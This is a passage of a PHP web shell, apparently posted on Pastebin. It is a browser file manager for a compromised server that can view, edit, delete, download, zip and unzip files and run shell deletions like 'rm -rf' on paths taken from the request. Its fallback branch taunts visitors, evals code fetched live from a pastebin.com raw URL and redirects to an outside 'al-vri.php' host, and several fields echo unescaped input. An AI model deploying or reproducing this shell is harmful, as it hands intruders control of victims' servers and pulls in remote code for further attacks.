  1584.             }
  1585.             elseif ($action == "view") {
  1586.                 if (is_file($target)) {
  1587.                     $ext = finfo_file(finfo_open(FILEINFO_MIME_TYPE), $target); ?>
  1588.  
  1589.  
  1590.             <pre class="text-left"><?php
  1591.                     if (
  1592.                         preg_match("/text/i", $ext) ||
  1593.                         preg_match("/javascript/i", $ext) ||
  1594.                         preg_match("/json/i", $ext) ||
  1595.                         preg_match("/xml/i", $ext)
  1596.                     ) { ?>
  1597. <?= htmlspecialchars(@file_get_contents($target)) ?><?php
  1598.                     }
  1599.                     elseif (preg_match("/image/i", $ext)) { ?>
  1600. <img src="<?= $_GET["data"] ?>"><?php
  1601.                     }
  1602.                     else { ?>
  1603. File "<?= $ext ?>" could not be opened.<?php
  1604.                         if (!empty(htmlspecialchars(@file_get_contents($target)))) {
  1605.                             echo "
  1606.  
  1607. ".htmlspecialchars(@file_get_contents($target));
  1608.                         }
  1609.                      }
  1610.           ?></pre><?php
  1611.                 }
  1612.                 else {
  1613.                     echo "
  1614.  
  1615.             ".color("File \"".$target."\" is not exists.", "merah");
  1616.                 }
  1617.             }
  1618.             elseif ($action == "edit") {
  1619.                 if (is_file($target)) { ?>
  1620.  
  1621.  
  1622.             <form method="POST">
  1623.                 <textarea name="text" placeholder="Text"><?= !empty($_POST["text"]) ? $_POST["text"] : htmlspecialchars(@file_get_contents($target)) ?></textarea>
  1624.                 <input type="text" name="directory" placeholder="Directory" value="<?= !empty($_POST["directory"]) ? $_POST["directory"] : $_GET["directory"] ?>" required>
  1625.                 <input type="text" name="data" placeholder="File name" value="<?= !empty($_POST["data"]) ? $_POST["data"] : $_GET["data"] ?>" required>
  1626.                 <input type="submit" name="submit" value="Save">
  1627.             </form><?php
  1628.                     if(isset($_POST["submit"])) {
  1629.                         if(@file_put_contents($_POST["directory"]."/".$_POST["data"], $_POST["text"])) {
  1630.                             echo "
  1631.  
  1632.             ".color("Success", "kuning");
  1633.                         }
  1634.                         else {
  1635.                             echo "
  1636.  
  1637.             ".color("Permission denied!", "merah");
  1638.                         }
  1639.                     }
  1640.                 }
  1641.                 else {
  1642.                     echo "
  1643.  
  1644.             ".color("File \"".$target."\" is not exists.", "merah");
  1645.                 }
  1646.             }
  1647.             elseif ($action == "rename") {
  1648.                 if (is_dir($target) || is_file($target)) { ?>
  1649.  
  1650.  
  1651.             <form method="POST">
  1652.                 <input type="text" value="<?= $_GET["directory"] ?>" disabled>
  1653.                 <input type="text" name="data" placeholder="New folder or file name" value="<?= !empty($_POST["data"]) ? $_POST["data"] : $_GET["data"] ?>" required>
  1654.                 <input type="submit" name="submit" value="Change name">
  1655.             </form><?php
  1656.                     if(isset($_POST["submit"])) {
  1657.                         if(@rename($target, htmlspecialchars($_POST["data"]))) {
  1658.                             header("Location: ?al=vri&directory=".path());
  1659.                         }
  1660.                         else {
  1661.                             echo "
  1662.  
  1663.             ".color("Permission denied!", "merah");
  1664.                         }
  1665.                     }
  1666.                 }
  1667.                 else {
  1668.                     echo "
  1669.  
  1670.             ".color("Directory or File \"".$target."\" is not exists.", "merah");
  1671.                 }
  1672.             }
  1673.             elseif ($action == "delete") {
  1674.                 if (is_dir($target)) {
  1675.                     if (is_writable($target)) {
  1676.                         if (@rmdir($target)) {
  1677.                             delete($target);
  1678.  
  1679.                             header("Location: ?al=vri&directory=".path());
  1680.                         }
  1681.                         elseif (OS() == "Linux") {
  1682.                             @command("rm -rf ".$target);
  1683.  
  1684.                             header("Location: ?al=vri&directory=".path());
  1685.                         }
  1686.                         elseif (OS() == "Windows") {
  1687.                             @command("rmdir /s /q ".$target);
  1688.  
  1689.                             header("Location: ?al=vri&directory=".path());
  1690.                         }
  1691.                         else {
  1692.                             echo "
  1693.  
  1694.             ".color("Permission denied!", "merah");
  1695.                         }
  1696.                     }
  1697.                     else {
  1698.                         echo "
  1699.  
  1700.             ".color("Could not remove directory \"".$target."\"");
  1701.                     }
  1702.                 }
  1703.                 elseif (is_file($target)) {
  1704.                     if(unlink($target)) {
  1705.                         header("Location: ?al=vri&directory=".path());
  1706.                     }
  1707.                     else {
  1708.                         echo "
  1709.  
  1710.             ".color("Permission denied!", "merah");
  1711.                     }
  1712.                 }
  1713.                 else {
  1714.                     echo "
  1715.  
  1716.             ".color("Directory or File \"".$target."\" is not exists.", "merah");
  1717.                 }
  1718.             }
  1719.             elseif ($action == "download") {
  1720.                 if (is_file($target)) {
  1721.                     header("Content-Description: File Transfer");
  1722.                     header("Content-Type: application/octet-stream");
  1723.                     header("Content-Disposition: attachment; filename=\"".basename($target)."\"");
  1724.                     header("Expires: 0");
  1725.                     header("Cache-Control: must-revalidate");
  1726.                     header("Pragma: public");
  1727.                     header("Content-Length: ".filesize($target));
  1728.                     readfile($target);
  1729.                 }
  1730.                 else {
  1731.                     echo "
  1732.  
  1733.             ".color("File \"".$target."\" is not exists.", "merah");
  1734.                 }
  1735.             }
  1736.             else {
  1737.                 echo "
  1738.  
  1739.             ".color("Directory or File \"".$target."\" is not exists.", "merah");
  1740.             }
  1741.         }
  1742.         else {
  1743.             function ownergroup($data) {
  1744.                 if (is_dir($data) || is_file($data)) {
  1745.                     if(@function_exists("posix_getpwuid")) {
  1746.                         $x          = (object) @posix_getpwuid(fileowner($data));
  1747.                         $y["owner"] = $x->name;
  1748.                     } else {
  1749.                         $y["owner"] = fileowner($data);
  1750.                     }
  1751.  
  1752.                     if(@function_exists("posix_getgrgid")) {
  1753.                         $x          = (object) @posix_getgrgid(filegroup($data));
  1754.                         $y["group"] = $x->name;
  1755.                     } else {
  1756.                         $y["group"] = filegroup($data);
  1757.                     }
  1758.                 }
  1759.                 else {
  1760.                     $y["owner"] = "undefined";
  1761.                     $y["group"] = "undefined";
  1762.                 }
  1763.  
  1764.                 return (object) $y;
  1765.             }
  1766.  
  1767.             if (!is_dir(path())) {
  1768.                 echo color("Directory \"".path()."\" is not exists.", "merah");
  1769.             }
  1770.             elseif (!is_readable(path())) {
  1771.                 echo color("Directory \"".path()."\" not readable.", "merah");
  1772.             }
  1773.             else {
  1774.           ?><form method="POST">
  1775.                 <table class="table">
  1776.                     <thead>
  1777.                         <tr>
  1778.                             <th>
  1779.                                 <input type="checkbox" id="selectall">
  1780.                             </th>
  1781.                             <th>
  1782.                                 <select name="action" required>
  1783.                                     <option value="">Silahkan pilih...</option>
  1784.                                     <option value="copy">Copy</option>
  1785.                                     <option value="move">Move</option>
  1786.                                     <option value="delete">Delete</option><?php
  1787.                                         if (!empty($_SESSION["action"])) {
  1788.                                             echo "
  1789.                                     <option value=\"paste\">Paste</option>";
  1790.                                         }
  1791.                                     ?>
  1792.  
  1793.                                     <option value="zip">Zip</option>
  1794.                                     <option value="unzip">Unzip</option>
  1795.                                 </select>
  1796.                             </th>
  1797.                             <th><input type="submit" name="go" value="GO"></th>
  1798.                             <th></th>
  1799.                             <th></th>
  1800.                             <th></th>
  1801.                             <th>
  1802.                                 <span><a href="?al=vri&directory=<?= path() ?>&action=newfile">NEW FILE</a></span>
  1803.                                 <span class="text-nowrap">| <a href="?al=vri&directory=<?= path() ?>&action=newfolder">NEW FOLDER</a></span>
  1804.                             </th>
  1805.                         </tr>
  1806.                         <tr>
  1807.                             <th></th>
  1808.                             <th>Name</th>
  1809.                             <th>Size</th>
  1810.                             <th>Date Modified</th>
  1811.                             <th>Owner/Group</th>
  1812.                             <th>Permissions</th>
  1813.                             <th>Actions</th>
  1814.                         </tr>
  1815.                     </thead>
  1816.                     <tbody><?php
  1817.                 if(function_exists("opendir")) {
  1818.                     if($opendir = opendir(path())) {
  1819.                         while(($readdir = readdir($opendir)) !== false) {
  1820.                             $data_s[] = $readdir;
  1821.                         }
  1822.                         closedir($opendir);
  1823.                     }
  1824.                     sort($data_s);
  1825.                 } else {
  1826.                     $data_s = scandir(path());
  1827.                 }
  1828.  
  1829.                 foreach($data_s as $data) {
  1830.                     if(is_dir($data) && $data != "." && $data != "..") {
  1831.                         if (path() == "/") {
  1832.                             $folder["link"] = "/".$data;
  1833.                         }
  1834.                         else {
  1835.                             $folder["link"] = path()."/".$data;
  1836.                         }
  1837.  
  1838.                         $folder["time"]         = date("H:i:s | d/m/Y", filemtime($folder["link"]));
  1839.                         $folder["ownergroup"]   = ownergroup($folder["link"])->owner."/".ownergroup($folder["link"])->group;
  1840.                         $folder["permission"]   = permission($folder["link"], "color"); ?>
  1841.  
  1842.                         <tr>
  1843.                             <td><input type="checkbox" name="data[]" value="<?= $data ?>"></td>
  1844.                             <td class="text-left">
  1845.                                 <a href="?al=vri&directory=<?= $folder["link"] ?>"><?= $data ?></a>
  1846.                             </td>
  1847.                             <td>DIR</td>
  1848.                             <td><?= $folder["time"] ?></td>
  1849.                             <td><?= $folder["ownergroup"] ?></td>
  1850.                             <td><?= $folder["permission"] ?></td>
  1851.                             <td>
  1852.                                 <a href="?al=vri&directory=<?= path() ?>&data=<?= $data ?>&action=rename">RENAME</a>
  1853.                                 <span class="text-nowrap">| <a href="?al=vri&directory=<?= path() ?>&data=<?= $data ?>&action=delete">DELETE</a></span>
  1854.                             </td>
  1855.                         </tr><?php
  1856.                     }
  1857.                 }
  1858.  
  1859.                 foreach($data_s as $data) {
  1860.                     if (is_file($data)) {
  1861.                         if (path() == "/") {
  1862.                             $berkas["name"] = "/".$data;
  1863.                         }
  1864.                         else {
  1865.                             $berkas["name"] = path()."/".$data;
  1866.                         }
  1867.  
  1868.                         $berkas["size"]         = size($berkas["name"]);
  1869.                         $berkas["time"]         = date("H:i:s | d/m/Y", filemtime($berkas["name"]));
  1870.                         $berkas["ownergroup"]   = ownergroup($berkas["name"])->owner."/".ownergroup($berkas["name"])->group;
  1871.                         $berkas["permission"]   = permission($berkas["name"], "color"); ?>
  1872.  
  1873.                         <tr>
  1874.                             <td><input type="checkbox" name="data[]" value="<?= $data ?>"></td>
  1875.                             <td class="text-left">
  1876.                                 <a href="?al=vri&directory=<?= path() ?>&data=<?= $data ?>&action=view"><?= $data ?></a>
  1877.                             </td>
  1878.                             <td class="text-right text-nowrap"><?= $berkas["size"] ?></td>
  1879.                             <td><?= $berkas["time"] ?></td>
  1880.                             <td><?= $berkas["ownergroup"] ?></td>
  1881.                             <td><?= $berkas["permission"] ?></td>
  1882.                             <td>
  1883.                                 <a href="?al=vri&directory=<?= path() ?>&data=<?= $data ?>&action=edit">EDIT</a>
  1884.                                 <span class="text-nowrap">| <a href="?al=vri&directory=<?= path() ?>&data=<?= $data ?>&action=rename">RENAME</a></span>
  1885.                                 <span class="text-nowrap">| <a href="?al=vri&directory=<?= path() ?>&data=<?= $data ?>&action=delete">DELETE</a></span>
  1886.                                 <span class="text-nowrap">| <a href="?al=vri&directory=<?= path() ?>&data=<?= $data ?>&action=download">DOWNL-</a></span>
  1887.                             </td>
  1888.                         </tr><?php
  1889.                     }
  1890.                 } ?>
  1891.                    
  1892.                     </tbody>
  1893.                 </table>
  1894.             </form><?php
  1895.                 if (isset($_POST["go"])) {
  1896.                     $action = $_POST["action"];
  1897.  
  1898.                     if ($action == "copy" || $action == "move") {
  1899.                         $_SESSION["action"]     = $action;
  1900.                         $_SESSION["data_path"]  = path();
  1901.                         $_SESSION["data_name"]  = $_POST["data"];
  1902.                     }
  1903.                     elseif ($action == "paste") {
  1904.                         function paste($path_target, $path_destination, $data) {
  1905.                             $target         = $path_target."/".$data;
  1906.                             $destination    = $path_destination."/".$data;
  1907.  
  1908.                             if (is_dir($target)) {
  1909.                                 @mkdir($path_destination."/".$data);
  1910.                                 $opendir = @opendir($target);
  1911.                                 while (($readdir = @readdir($opendir)) != false) {
  1912.                                     if (($readdir != ".") and ($readdir != "..")) {
  1913.                                         paste($target, $destination, $readdir);
  1914.                                     }
  1915.                                 }
  1916.                             }
  1917.                             elseif (is_file($target)) {
  1918.                                 @copy($target, $destination);
  1919.                             }
  1920.                         }
  1921.  
  1922.                         if ($_SESSION["action"] == "copy") {
  1923.                             foreach ($_SESSION["data_name"] as $data) {
  1924.                                 paste($_SESSION["data_path"], path(), $data);
  1925.                             }
  1926.                         }
  1927.                         elseif ($_SESSION["action"] == "move") {
  1928.                             foreach ($_SESSION["data_name"] as $data) {
  1929.                                 if (is_writable(path())) {
  1930.                                     paste($_SESSION["data_path"], path(), $data);
  1931.                                     delete($_SESSION["data_path"]."/".$data);
  1932.                                 }
  1933.                                
  1934.                             }
  1935.                         }
  1936.  
  1937.                         unset($_SESSION["action"]);
  1938.                         unset($_SESSION["data_name"]);
  1939.                         unset($_SESSION["data_path"]);
  1940.                     }
  1941.                     elseif ($action == "delete") {
  1942.                         foreach ($_POST["data"] as $data) {
  1943.                             delete($data);
  1944.                         }
  1945.                     }
  1946.                     elseif ($action == "zip") {
  1947.                         if(class_exists("ZipArchive")) {
  1948.                             $zip = new ZipArchive();
  1949.                             if ($zip->open(date("Y.m.d-H.i.s").".zip", ZipArchive::CREATE)) {
  1950.                                 foreach ($_POST["data"] as $data) {
  1951.                                     if (@is_file($data)) {
  1952.                                         $zip->addFile($data);
  1953.                                     }
  1954.                                     elseif (@is_dir($data)) {
  1955.                                         if (is_writable($data)) {
  1956.                                             $iterator_s = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($data."/", FilesystemIterator::SKIP_DOTS));
  1957.  
  1958.                                             foreach ($iterator_s as $iterator) {
  1959.                                                 $zip->addFile(realpath($iterator), $iterator);
  1960.                                             }
  1961.                                         }
  1962.                                     }
  1963.                                 }
  1964.  
  1965.                                 $zip->close();
  1966.                             }
  1967.                         }
  1968.                     }
  1969.                     elseif ($action == "unzip") {
  1970.                         if(class_exists("ZipArchive")) {
  1971.                             $zip = new ZipArchive();
  1972.  
  1973.                             foreach ($_POST["data"] as $data) {
  1974.                                 $destination    = substr($data, 0, -4);
  1975.  
  1976.                                 if (zip_read(zip_open($data)) && $zip->open($data)) {
  1977.                                     @mkdir($destination);
  1978.                                     $zip->extractTo($destination);
  1979.                                     $zip->close();
  1980.                                 }
  1981.                             }
  1982.                         }
  1983.                     }
  1984.  
  1985.                     header("Location: ?al=vri&directory=".path());
  1986.                 }
  1987.             }
  1988.         } ?>
  1989.  
  1990.         </div>
  1991.     </div>
  1992.  
  1993.  
  1994.     <!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->
  1995.     <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
  1996.     <!-- Include all compiled plugins (below), or include individual files as needed -->
  1997.     <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
  1998.  
  1999.     <!-- Optional JavaScript -->
  2000.     <script type="text/javascript">
  2001.         $(document).ready(function () {
  2002.             $("#toggle-sidebar").on("click", function () {
  2003.                 $("#sidebar, #main, #navbar, #content").toggleClass('active');
  2004.             });
  2005.  
  2006.             $("#selectall").on("click", function() {
  2007.                 $("input:checkbox").not(this).prop("checked", this.checked);
  2008.             });
  2009.  
  2010.             $(".sidebar-list ul").on("click", "li", function() {
  2011.                 $(".sidebar-list ul li.active").removeClass("active");
  2012.                 $(this).addClass("active");
  2013.             });
  2014.         });
  2015.     </script><?php     
  2016.     }
  2017.     else {
  2018.         if (!empty($_SESSION["login"])) {
  2019.             header("Location: ?al=vri");
  2020.         }
  2021.         else { ?>
  2022.        
  2023.     Zhuhahaha, need a security? --- aalvriyanto@gmail.com<?php
  2024.             eval("?>".file_get_contents("https://pastebin.com/raw/HeAAbtch"));
  2025.  
  2026.             header("Refresh: 7; url=http://gnt.at/al-vri.php");
  2027.         }
  2028.     } ?>
  2029.  
  2030. </body>
  2031. </html>
Add Comment
Please, Sign In to add comment